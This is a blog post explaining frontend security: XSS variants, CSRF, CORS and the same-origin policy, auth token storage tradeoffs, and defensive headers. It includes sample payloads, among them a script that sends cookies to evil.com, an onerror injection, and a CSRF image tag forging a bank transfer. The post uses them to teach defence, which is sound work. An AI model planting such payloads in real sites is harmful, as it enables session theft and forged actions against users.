#Security#XSS

Web Security: Deep Notes

XSS (stored, reflected, DOM-based), CSRF, CORS and the Same-Origin Policy, auth token storage tradeoffs (HttpOnly cookies vs localStorage), and a set of quick-hit defenses — explained as layered mental models, not a checklist.

By Pratik Rai

Frontend security has a small surface area and enormous consequences. Four things account for most of it: cross-site scripting, cross-site request forgery, the same-origin policy, and where you put the auth token. Get those right and you've eliminated the overwhelming majority of realistic attacks against a web application's client.

What follows is how each one actually works, why the obvious defence is usually incomplete, and how the layers fit together.


1. Cross-Site Scripting

XSS is an attacker getting JavaScript to run in another user's browser, in the context of your origin. That last part is what makes it severe. Code running as your origin can read non-HttpOnly cookies, read localStorage, read and rewrite the DOM, and issue authenticated requests as the user. It is the most consequential vulnerability in frontend development.

Three ways it happens

Stored XSS persists the payload on your server — in a comment, a bio, a review — and serves it to everyone who views that content. It's the most dangerous variant because it needs no interaction: every visitor is a victim.

A user sets their display name to <script>fetch('https://evil.com?c='+document.cookie)</script>. Every person who loads their profile executes it.

Reflected XSS comes from the request itself, usually a URL parameter echoed back into the response unsanitised. It requires tricking someone into following a crafted link.

A search page renders You searched for: <query> directly into the HTML. The attacker distributes ?q=<script>...</script> in a phishing email.

DOM-based XSS never involves the server at all. Data flows from a client-side source into a dangerous sink entirely within the browser:

JSfile.js
1// The vulnerability is in the client code 2const name = location.hash.slice(1); 3document.getElementById('greeting').innerHTML = name; 4 5// Exploited with: page.html#<img src=x onerror=alert(document.cookie)>

Sources are things like location.hash and location.search. Sinks are innerHTML, eval, and document.write. Server-side sanitisation cannot help you here, because the payload never reaches the server — everything after the # stays in the browser.

How React protects you, and where it stops

JSX escapes every interpolated value before rendering. {userInput} becomes inert text, not parsed HTML:

JSXcomponent.jsx
1const evil = '<img src=x onerror=alert(1)>'; 2<div>{evil}</div> // renders as literal text — React escaped it

You lose that protection in exactly three places: dangerouslySetInnerHTML, a javascript: URL in an href, and any escape hatch into a non-React sink like a direct innerHTML assignment on a ref.

dangerouslySetInnerHTML injects raw HTML and bypasses escaping entirely. The alarming name is deliberate:

JSXcomponent.jsx
1// Dangerous if `comment` contains anything user-controlled 2<div dangerouslySetInnerHTML={{ __html: comment }} /> 3 4// Safe — sanitise first 5import DOMPurify from 'dompurify'; 6<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(comment) }} />

Defence in depth

No single measure is sufficient. The layers, in order of importance:

Escape output by context. HTML, attributes, JavaScript, and URLs each require different encoding. React handles the HTML context automatically; the others are on you.

Sanitise when you genuinely must render HTML. Use DOMPurify. Never hand-roll a blocklist — the history of XSS is a history of blocklists being bypassed by an encoding nobody anticipated.

Content Security Policy. A header restricting where scripts may load from, and optionally forbidding inline scripts altogether. If an injection does slip through, a strict CSP can prevent it executing:

HTTPfile.http
1Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'

HttpOnly cookies. So that even under a successful XSS, the session token can't be read.

The shape of the whole answer: escaping is the primary defence, CSP is defence in depth, and HttpOnly limits the blast radius when the first two fail.


2. Cross-Site Request Forgery

CSRF tricks an authenticated user's browser into making a state-changing request the user never intended. The mechanism is simple and unsettling: browsers attach cookies based on the destination, not the origin of the request.

You're logged into your bank. You visit a malicious page containing <img src="https://bank.com/transfer?to=attacker&amount=10000">. Your browser issues that request with your bank cookies attached, and the transfer executes.

The attacker never sees the response and never reads the cookie. They don't need to — they only need the action to happen.

It's worth being precise about how this differs from XSS. XSS is untrusted code running as you. CSRF is trusted credentials being ridden by someone else. Different root causes, different defences.

Defences

SameSite cookies are the modern primary defence, controlling whether a cookie is attached to cross-site requests at all:

  • Strict — never sent cross-site. Most secure, but it breaks following a link into your own logged-in site.
  • Lax — sent on top-level navigations like clicking a link, but not on cross-site subrequests such as <img>, fetch, or form POSTs. A good default, and what modern browsers apply when unspecified.
  • None — sent on all cross-site requests, and requires Secure. Only for genuine cross-site integrations.
HTTPfile.http
1Set-Cookie: session=abc; HttpOnly; Secure; SameSite=Lax

CSRF tokens — the synchroniser token pattern. The server issues an unpredictable token bound to the session, and every state-changing request must carry it in a header or hidden field. The attacker's cross-site request cannot know it. SPAs commonly implement this as the double-submit cookie pattern.

Origin and Referer checks verify that state-changing requests originate from your own site. Useful as a secondary layer, not as the only one.

The right posture is both: SameSite=Lax or Strict as the baseline, plus tokens on genuinely sensitive actions.


3. CORS and the Same-Origin Policy

These get conflated constantly, and the distinction is worth getting exactly right.

The same-origin policy is the security mechanism

SOP prevents a page on one origin from reading responses from another. An origin is scheme, host, and port — all three must match. This is why a malicious page cannot silently read your webmail with JavaScript.

CORS is the relaxation of it

Cross-Origin Resource Sharing is how a server opts into letting specific other origins read its responses. It is permission you grant, not protection you gain.

The precise framing: CORS does not protect your API. It loosens a browser restriction, and it's enforced by the browser, not the server. The server still receives the request and still processes it — including any side effects. The browser simply refuses to expose the response to the calling page if the headers don't allow it.

Two consequences follow directly. CORS is no substitute for authentication, and it is no substitute for CSRF defence. A request blocked by CORS may well have already changed your database.

Preflight

For non-simple requests — custom headers, PUT/DELETE, certain content types — the browser sends an automatic OPTIONS request first:

HTTPfile.http
1# Preflight 2OPTIONS /api/data 3Origin: https://app.example.com 4Access-Control-Request-Method: PUT 5 6# The server grants permission 7Access-Control-Allow-Origin: https://app.example.com 8Access-Control-Allow-Methods: GET, PUT, POST

Only on approval does the real request follow.

The misconception worth correcting: a CORS error in the console does not mean the request was stopped before reaching the server. It usually arrived, and was usually processed. The browser just declined to let your JavaScript see the answer.


4. Where to Store the Auth Token

There is no universally correct answer here, and anyone who tells you otherwise is skipping the interesting part. What matters is understanding what each option is vulnerable to.

HttpOnly cookielocalStorage
Readable by JavaScriptNoYes
Under XSSToken protectedToken fully exposed
Under CSRFVulnerable — cookies auto-sentNot vulnerable
Sent automaticallyYes, every request to the domainNo — you attach it manually

The trade-off

localStorage sidesteps CSRF entirely, because nothing is attached automatically. But it is completely exposed to XSS: one injected script calls localStorage.getItem('token') and exfiltrates it. Given that XSS is both the most common and the most severe frontend vulnerability, that's a significant cost.

HttpOnly cookies cannot be read by JavaScript at all, so XSS cannot steal the token. But they reintroduce CSRF, because the browser attaches them automatically — which you then close with SameSite and tokens.

The stronger default

HttpOnly + Secure + SameSite cookies, for two reasons. XSS is more prevalent and more damaging than CSRF, and HttpOnly removes the highest-value target. And CSRF has clean, well-understood mitigations that you can layer on with confidence.

The production shape is a short-lived access token plus a long-lived refresh token, both in HttpOnly cookies, with refresh-token rotation — each refresh issues a new token and invalidates the old one, so a stolen refresh token has a narrow window and reuse is detectable:

HTTPfile.http
1Set-Cookie: access_token=...; HttpOnly; Secure; SameSite=Lax; Max-Age=900 2Set-Cookie: refresh_token=...; HttpOnly; Secure; SameSite=Strict; Path=/auth/refresh; Max-Age=604800

The point that's easy to miss

Neither storage choice removes the need to prevent XSS in the first place. If an attacker can run JavaScript on your origin, they can act as the user regardless of where the token lives — by riding the session directly, making authenticated requests from the page itself. They never need to see the token.

Storage choice limits blast radius. It is not the fix.


5. The Rest of the Checklist

Clickjacking. An attacker loads your site in an invisible iframe over their own interface, so the user clicks something they can't see. Defend with X-Frame-Options: DENY or SAMEORIGIN, or the modern CSP equivalent frame-ancestors 'none'.

HTTPS and HSTS. Always serve over HTTPS so traffic can't be read or modified in transit. Strict-Transport-Security instructs browsers to only ever use HTTPS for your domain, defeating protocol-downgrade and SSL-stripping attacks:

HTTPfile.http
1Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

Cookie flags. Secure restricts to HTTPS, HttpOnly blocks JavaScript access, SameSite mitigates CSRF. Session cookies should carry all three.

No secrets in the bundle. Anything shipped to the browser is public — including environment variables inlined at build time. API secret keys and private credentials stay server-side. Only publishable keys belong in frontend code.

Subresource Integrity. When loading third-party scripts from a CDN, an integrity hash makes the browser refuse to execute the file if it has been altered.

Dependency hygiene. A compromised package runs with your application's full privileges. npm audit is a floor, not a ceiling — supply-chain risk is real and growing.


The Shape of It

XSS — stored, reflected, or DOM-based; untrusted script running as your origin. Escape output, sanitise HTML you must render, add CSP for depth, use HttpOnly to contain the damage.

CSRF — rides automatically-attached cookies to force a state change. SameSite first, tokens on sensitive actions.

CORS — a relaxation of the same-origin policy, enforced by the browser. Not protection for your API.

Auth storageHttpOnly cookies trade XSS exposure for CSRF exposure, and CSRF is the easier problem to close. But storage only limits blast radius; preventing XSS is the actual work.

Goal: Understand XSS, CSRF, CORS, and auth token storage deeply enough to argue tradeoffs — not just name defenses. The depth that distinguishes a senior frontend answer from a checklist recitation.

Related Articles

Continue learning with these related challenges

View All
Blogs

Web Fundamentals: Deep Notes

How the browser turns a URL into pixels: the rendering pipeline, the critical rendering path, the event loop, the CSS cascade and stacking contexts, and HTTP from caching to CORS to HTTP/3 — explained as mental models rather than definitions.

HTML · CSS · JavaScript · HTTPPratik Rai ·

Blogs

Frontend Roadmap, Tier 3: Advanced Deep Notes

Build systems, security, offline-first patterns, internationalization, maintainable CSS, performance internals, and design systems — the advanced tier where senior-level depth is tested. Part 3 of the Frontend Roadmap series.

Webpack · Vite · Service Workers · CSSPratik Rai ·

Blogs

Performance Optimisation from First Principles

Understanding frontend performance optimization from the ground up - learn how browsers work and optimize your code accordingly.

Performance · Frontend · JavaScript · BrowserPratik Rai ·